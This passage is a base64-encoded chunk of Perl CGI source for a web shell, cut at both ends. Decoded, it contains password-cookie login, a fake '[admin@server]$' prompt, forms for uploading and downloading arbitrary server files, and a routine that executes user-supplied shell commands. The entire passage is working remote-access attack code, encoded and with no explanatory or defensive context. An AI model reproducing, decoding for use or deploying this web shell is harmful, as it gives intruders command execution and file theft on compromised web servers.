cj48YnI+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBMb2dzIG91dCB0aGUgdXNlciBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGxvZ2luIGFnYWluDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ291dA0Kew0KCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUNCgkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJJlByaW50TG9nb3V0U2NyZWVuOw0KDQoJJlByaW50TG9naW5TY3JlZW47DQoJJlByaW50TG9naW5Gb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQoJZXhpdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBsb2dpbiB0aGUgdXNlci4gSWYgdGhlIHBhc3N3b3JkIG1hdGNoZXMsIGl0DQojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0DQojIG1hdGNoIG9yIGlmIG5vIHBhc3N3b3JkIGlzIGVudGVyZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlcg0KIyB0byBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dpbiANCnsNCglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZA0KCXsNCgkJcHJpbnQgIlNldC1Db29raWU6IFNBVkVEUFdEPSRMb2dpblBhc3N3b3JkO1xuIjsNCgkJJlByaW50UGFnZUhlYWRlcjsNCgkJcHJpbnQgJkxpc3REaXI7DQoJfQ0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoInAiKTsNCgkJJlByaW50TG9naW5TY3JlZW47DQoJCWlmKCRMb2dpblBhc3N3b3JkIG5lICIiKSAjIHNvbWUgcGFzc3dvcmQgd2FzIGVudGVyZWQNCgkJew0KCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOw0KDQoJCX0NCgkJJlByaW50TG9naW5Gb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCQlleGl0Ow0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIEhUTUwgZm9ybSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBjb21tYW5kcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0NCnsNCglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOw0KCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KDQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPg0KJFByb21wdA0KPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjUwIiBuYW1lPSJjIj4NCjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4NCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJbXkgJGRpciA9ICZBZGRMaW5rRGlyKCJkb3dubG9hZCIpOyANCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJCAiOw0KCXJldHVybiA8PEVORDsNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9InRleHQiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+DQoNCjwvZm9ybT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCglteSAkZGlyPSAmQWRkTGlua0RpcigidXBsb2FkIik7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsNCglyZXR1cm4gPDxFTkQ7DQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgY2xhc3M9ImZpbGUiIHR5cGU9ImZpbGUiIG5hbWU9ImYiIHNpemU9IjM1Ij48YnI+PGJyPg0KT3B0aW9uczogJm5ic3A7PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvIiBpZD0idXAiIHZhbHVlPSJvdmVyd3JpdGUiPg0KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IGNsYXNzPSJzdWJtaXQiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCg0KPC9mb3JtPg0KDQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB0aW1lb3V0IGZvciBhIGNvbW1hbmQgZXhwaXJlcy4gV2UgbmVlZCB0bw0KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzDQojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBDb21tYW5kVGltZW91dA0Kew0KCWlmKCEkV2luTlQpDQoJew0KCQlhbGFybSgwKTsNCgkJcmV0dXJuIDw8RU5EOw0KPC90ZXh0YXJlYT4NCjxicj48Zm9udCBjb2xvcj15ZWxsb3c+DQpDb21tYW5kIGV4Y2VlZGVkIG1heGltdW0gdGltZSBvZiAkQ29tbWFuZFRpbWVvdXREdXJhdGlvbiBzZWNvbmQocykuPC9mb250Pg0KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250Pg0KRU5EDQoJfQ0KfQ0KDQoNCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIGRpc3BsYXlzIHRoZSBwYWdlIHRoYXQgY29udGFpbnMgYSBsaW5rIHdoaWNoIGFsbG93cyB0aGUgdXNlcg0KIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gNCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIGZpbGVuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIGRvd25sb2FkZWQNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UNCnsNCglsb2NhbCgkRmlsZVVybCkgPSBAXzsNCglteSAkcmVzdWx0PSIiOw0KCWlmKC1lICRGaWxlVXJsKSAjIGlmIHRoZSBmaWxlIGV4aXN0cw0KCXsNCgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3Nlcg0KCQkkRmlsZVVybCA9fiBzLyhbXmEtekEtWjAtOV0pLyclJy51bnBhY2soIkgqIiwkMSkvZWc7DQoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsNCgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsNCgkJJlByaW50UGFnZUhlYWRlcigiYyIpOw0KCQkkcmVzdWx0IC49IDw8RU5EOw0KU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+DQoNCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LA0KPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4NCkVORA0KCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCX0NCgllbHNlICMgZmlsZSBkb2Vzbid0IGV4aXN0DQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsNCgkJJHJlc3VsdCAuPSAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBUaGlzIGZ1bmN0aW9uIHJlYWRzIHRoZSBzcGVjaWZpZWQgZmlsZSBmcm9tIHRoZSBkaXNrIGFuZCBzZW5kcyBpdCB0byB0aGUNCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4NCiMgQXJndW1lbnQgMTogRnVsbHkgcXVhbGlmaWVkIHBhdGhuYW1lIG9mIHRoZSBmaWxlIHRvIGJlIHNlbnQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXINCnsNCglteSAkcmVzdWx0ID0gIiI7DQoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOw0KCWlmKG9wZW4oU0VOREZJTEUsICRTZW5kRmlsZSkpICMgZmlsZSBvcGVuZWQgZm9yIHJlYWRpbmcNCgl7DQoJCWlmKCRXaW5OVCkNCgkJew0KCQkJYmlubW9kZShTRU5ERklMRSk7DQoJCQliaW5tb2RlKFNURE9VVCk7DQoJCX0NCgkJJEZpbGVTaXplID0gKHN0YXQoJFNlbmRGaWxlKSlbN107DQoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsNCgkJcHJpbnQgIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC11bmtub3duXG4iOw0KCQlwcmludCAiQ29udGVudC1MZW5ndGg6ICRGaWxlU2l6ZVxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7DQoJCXByaW50IHdoaWxlKDxTRU5ERklMRT4pOw0KCQljbG9zZShTRU5ERklMRSk7DQoJCWV4aXQoMSk7DQoJfQ0KCWVsc2UgIyBmYWlsZWQgdG8gb3BlbiBmaWxlDQoJew0KCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJFNlbmRGaWxlOiAkISI7DQoJCSRyZXN1bHQgLj0mUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KCX0NCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlDQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4NCiMgVGhpcyBmdW5jdGlvbiBpcyBhbHNvIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGNsaWNrcyBvbiB0aGF0IGxpbmsuIEluIHRoaXMgY2FzZSwNCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBCZWdpbkRvd25sb2FkDQp7DQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfA0KCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7DQoJfQ0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlDQoJew0KCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhDQojIGZpbGUsIG90aGVyd2lzZSBpdCBzdGFydHMgdGhlIHVwbG9hZCBwcm9jZXNzLg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFVwbG9hZEZpbGUNCnsNCgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOw0KDQoJfQ0KCW15ICRyZXN1bHQ9IiI7DQoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MNCgkkcmVzdWx0IC49ICJVcGxvYWRpbmcgJFRyYW5zZmVyRmlsZSB0byAkQ3VycmVudERpci4uLjxicj4iOw0KDQoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZA0KCWNob3AoJFRhcmdldE5hbWUpIGlmICgkVGFyZ2V0TmFtZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOw0KCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7DQoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7DQoNCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsNCgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQNCglpZigtZSAkVGFyZ2V0TmFtZSAmJiAkT3B0aW9ucyBuZSAib3ZlcndyaXRlIikNCgl7DQoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsNCgl9DQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQNCgl7DQoJCWlmKG9wZW4oVVBMT0FERklMRSwgIj4kVGFyZ2V0TmFtZSIpKQ0KCQl7DQoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsNCgkJCXByaW50IFVQTE9BREZJTEUgJGlueydmaWxlZGF0YSd9Ow0KCQkJY2xvc2UoVVBMT0FERklMRSk7DQoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsNCgkJCSRyZXN1bHQgLj0gIkZpbGUgUGF0aDogJFRhcmdldE5hbWU8YnI+IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsNCgkJfQ0KCX0NCgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gZG93bmxvYWQgYSBmaWxlLiBJZiB0aGUNCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQ0KIyBmaWxlLCBvdGhlcndpc2UgaXQgZGlzcGxheXMgYSBtZXNzYWdlIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsNCiMgdGhyb3VnaCAgd2hpY2ggdGhlIGZpbGUgY2FuIGJlIGRvd25sb2FkZWQuDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgRG93bmxvYWRGaWxlDQp7DQoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4NCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlyZXR1cm4gJlByaW50RmlsZURvd25sb2FkRm9ybTsNCgl9DQoJDQoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZA0KCWlmKCgkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cXHxeLjovKSkgfCAoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUNCgl7DQoJCSRUYXJnZXRGaWxlID0gJFRyYW5zZmVyRmlsZTsNCgl9DQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUNCgl7DQoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87DQoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7DQoJfQ0KDQoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUNCgl7DQoJCXJldHVybiAmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOw0KCX0NCgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQ0KCXsNCgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOw0KCX0NCn0NCg0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCW15ICRyZXN1bHQ9IiI7DQoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZA0KCXsNCgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQ0KCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4NCgkJJENvbW1hbmQgPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAkMSIuJENtZFNlcC4kQ21kUHdkOw0KCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoNCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7DQoJCSMgeHVhdCB0aG9uZyB0aW4ga2hpIGNodXllbiBkZW4gMSB0aHUgbXVjIG5hbyBkbyENCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOw0KCQkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJfWVsc2lmKCRSdW5Db21tYW5kID1+IG0vXlxzKmVkaXRccysoLispLykNCgl7DQoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07DQoJfWVsc2UNCgl7DQoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSRyZXN1bHQgLj0gIkNvbW1hbmQ6IDxydW4+JFJ1bkNvbW1hbmQ8L3J1bj48YnI+PHRleHRhcmVhIGlkPSdkYXRhJyBjb2xzPSckY29scycgcm93cz0nJHJvd3MnIHNwZWxsY2hlY2s9J2ZhbHNlJz4iOw0KCQkkcmVzdWx0IC49JlJ1bkNtZDsNCgl9DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCglyZXR1cm4gJHJlc3VsdDsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t